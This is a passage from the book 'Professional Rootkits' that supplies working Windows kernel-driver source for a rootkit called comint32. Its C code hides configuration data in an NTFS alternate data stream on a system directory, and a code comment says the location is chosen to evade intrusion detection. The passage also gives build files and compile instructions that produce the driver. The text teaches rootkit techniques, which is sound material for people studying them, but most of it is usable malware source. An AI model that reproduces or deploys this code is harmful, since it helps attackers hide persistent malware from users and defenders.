Professional Rootkits (Programmer to Programmer)

Alternate data streams are a holdover from the days when Microsoft was still trying to develop compatibility with the Macintosh operating system. The Macintosh system had a way to attach objects, such as icons, to files without altering the file, or file size. When Microsoft added this functionality to the Windows operating system, they provided a very nice way to hide files. This file-hiding technique has been around long enough to guarantee detection when used on a file in an operating system being monitored by anti-rootkit software, but adding an alternate data stream to a directory has been relatively safe until now.

The configuration file is shown in Figure 2-2.

Figure 2-2

After reading the configuration file, this rookit stores the configuration as an alternate data stream, associated with the directory C:\WINDOWS\Resources. This directory location is defined in fileManager .h. The use of a hard-coded path is a shortcut. A more robust rootkit would need to query the operating system for the %WINDOWS% directory before assigning a hidden file location.

fileManager.h

The file fileManager.h defines the ADS location as MASTER_FILE and declares the GetFile and PutFile functions used by configManager.c:

// Copyright Ric Vieler, 2006 // Support header for fileManager.c #ifndef _FILE_MANAGER_H_ #define _FILE_MANAGER_H_ // Though no documentation mentions it, NTFS-ADS works with directories too! // Each implementation should use a different known directory // to avoid having the full pathname added to IDS's. #define MASTER_FILE L"\\??\\C:\\WINDOWS\\Resources" NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG fileSizePtr ); NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize ); #endif

fileManager.c

The file fileManager.c contains only two functions: GetFile and PutFile. You probably noticed that these are very large functions for such simple operations. Welcome to kernel programming. Here is the file:

// fileManager // Copyright Ric Vieler, 2006 // Use without path to get/put Alternate Data Streams from/to MASTER_FILE // Use with full path to get/put regular files from/to the visible file system #include "ntddk.h" #include <stdio.h> #include "fileManager.h" #include "Ghost.h" NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG fileSizePtr ) { NTSTATUS rc; WCHAR ADSName[256]; HANDLE hStream; OBJECT_ATTRIBUTES ObjectAttr; UNICODE_STRING FileName; IO_STATUS_BLOCK ioStatusBlock; CHAR string[256]; // set file size *fileSizePtr = 0; // Get from NTFS-ADS if not full path if( wcschr( filename, '\\' ) == NULL ) _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename ); else wcscpy( ADSName, filename ); RtlInitUnicodeString( &FileName, ADSName ); InitializeObjectAttributes( &ObjectAttr, &FileName, OBJ_CASE_INSENSITIVE, NULL, NULL); rc = ZwOpenFile( &hStream, SYNCHRONIZE | GENERIC_ALL, &ObjectAttr, &ioStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT ); if ( rc != STATUS_SUCCESS ) { DbgPrint( "comint32: GetFile() ZwOpenFile() failed.\n" ); _snprintf( string, 255, "comint32: rc = %0x, status = %0x\n", rc, ioStatusBlock.Status ); DbgPrint( string ); return( STATUS_UNSUCCESSFUL ); } rc = ZwReadFile( hStream, NULL, NULL, NULL, &ioStatusBlock, buffer, buffersize, NULL, NULL ); if ( rc != STATUS_SUCCESS ) { DbgPrint( "comint32: GetFile() ZwReadFile() failed.\n" ); _snprintf( string, 255, "comint32: rc = %0x, status = %0x\n", rc, ioStatusBlock.Status ); DbgPrint( string ); return( STATUS_UNSUCCESSFUL ); } // Read was successful, return the number of bytes read *fileSizePtr = ioStatusBlock.Information; ZwClose( hStream ); return( STATUS_SUCCESS ); } NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize ) { NTSTATUS rc; WCHAR ADSName[256]; HANDLE hStream; OBJECT_ATTRIBUTES ObjectAttr; UNICODE_STRING FileName; IO_STATUS_BLOCK ioStatusBlock; CHAR string[256]; // Put to NTFS-ADS if not full path if( wcschr( filename, '\\' ) == NULL ) _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename ); else wcscpy( ADSName, filename ); RtlInitUnicodeString( &FileName, ADSName ); InitializeObjectAttributes( &ObjectAttr, &FileName, OBJ_CASE_INSENSITIVE, NULL, NULL); rc = ZwCreateFile( &hStream, SYNCHRONIZE | GENERIC_ALL, &ObjectAttr, &ioStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if ( rc != STATUS_SUCCESS ) { DbgPrint( "comint32: PutFile() ZwCreateFile() failed.\n" ); _snprintf( string, 255, "comint32: rc = %0x, status = %0x\n", rc, ioStatusBlock.Status ); DbgPrint( string ); return( STATUS_UNSUCCESSFUL ); } rc = ZwWriteFile( hStream, NULL, NULL, NULL, &ioStatusBlock, buffer, buffersize, NULL, NULL ); if ( rc != STATUS_SUCCESS ) { DbgPrint( "comint32: PutFile() ZwWriteFile() failed.\n" ); _snprintf( string, 255, "comint32: rc = %0x, status = %0x\n", rc, ioStatusBlock.Status ); DbgPrint( string ); ZwClose( hStream ); return( STATUS_UNSUCCESSFUL ); } ZwClose( hStream ); return( STATUS_SUCCESS ); }

The first notable difference between the preceding functions and standard user functions is the use of wide character strings. All newer Windows operating systems use wide characters, so if you want to interface with the operating system, as opposed to the user, you will need to get used to this convention.

The next item of interest is RtlInitUnicodeString. If you have MSDN, you might find that the definition of RtlInitUnicodeString leads to more questions than answers, a lot more questions - for example, “What’s a nonpagable buffer?” and “How do I know if my IRQL is less than or equal to DISPATCH_LEVEL?” For now, just think of a Unicode string as a required parameter that must be instantiated and initialized before use. In this case, the Unicode string FileName is associated with ObjectAttr and passed to ZwOpenFile.

ZwOpenFile is the kernel mode equivalent of the user mode platform SDK function OpenFile. If you haven’t already guessed, this rootkit is a kernel mode device driver, complete with all the privileges and complexities of kernel mode programming. File functions begin with Zw, I/O functions begin with Io, synchronization functions begin with Ke, resource functions begin with Ex, mapping functions begin with Mm, and string functions begin with Rtl. These functions will not be as easy to use as the standard user functions you’re used to, but we will step into kernel mode programming gradually.

GetFile is basically composed of three functions: ZwOpenFile, ZwReadFile, and ZwClose. PutFile is basically ZwCreateFile, ZwWriteFile, and ZwClose. The only notable change is that the filename is appended to the directory name with a colon separator. This is the syntax for ADS. You can try this yourself with a DOS command prompt. Just create a file called test.txt with a line of text, save it, and note the file size. Now use “echo xxx > test.txt:alternate.txt” to add an alternate data stream to test.txt. You should now be able to use “notepad test.txt:alternate.txt” to see the contents of the alternate data stream, xxx, but a directory listing shows only test.txt, and the file size will not include the size of the alternate data stream.

This concludes the source code for this example, but two more files are needed. Every DDK build requires a SOURCES file and a MAKEFILE. These are the files that the build tool looks for to determine how to build the device, as well as the name of the compiled product and the file list used to make that product. As I mentioned earlier, the name of the target is comint32 and the files are those detailed earlier. Though we will be adding to the SOURCES file throughout this book, the MAKEFILE will remain constant.

Here is the content of the SOURCES file:

TARGETNAME=comint32 TARGETPATH=OBJ TARGETTYPE=DRIVER SOURCES=Ghost.c\ fileManager.c\ configManager.c

And here is the content of the MAKEFILE file:

# # DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source # file to this component. This file merely indirects to the real make file # that is shared by all the driver components of the Windows NT DDK # !INCLUDE $(NTMAKEENV)\makefile.def

If you’ve been following along, it’s time to compile. Just double-click the “Checked DDK” icon on your desktop, navigate to your source directory, and enter the command build. The Driver Development Kit will do the rest.

Afterward, you should have a few new files, one of which is commint32.sys. This is your rootkit, or device driver, if you prefer. All you need now is a way to install it, and there are many.

If you are following along without compiling, you can get this version of comint32.sys from the Wrox/Wiley Professional Rootkits source code download, under “Chapter 2 Ghost.” You will also need the load and unload files, SCMLoader.exe and SCMUnloader.exe, from the same directory.

Категории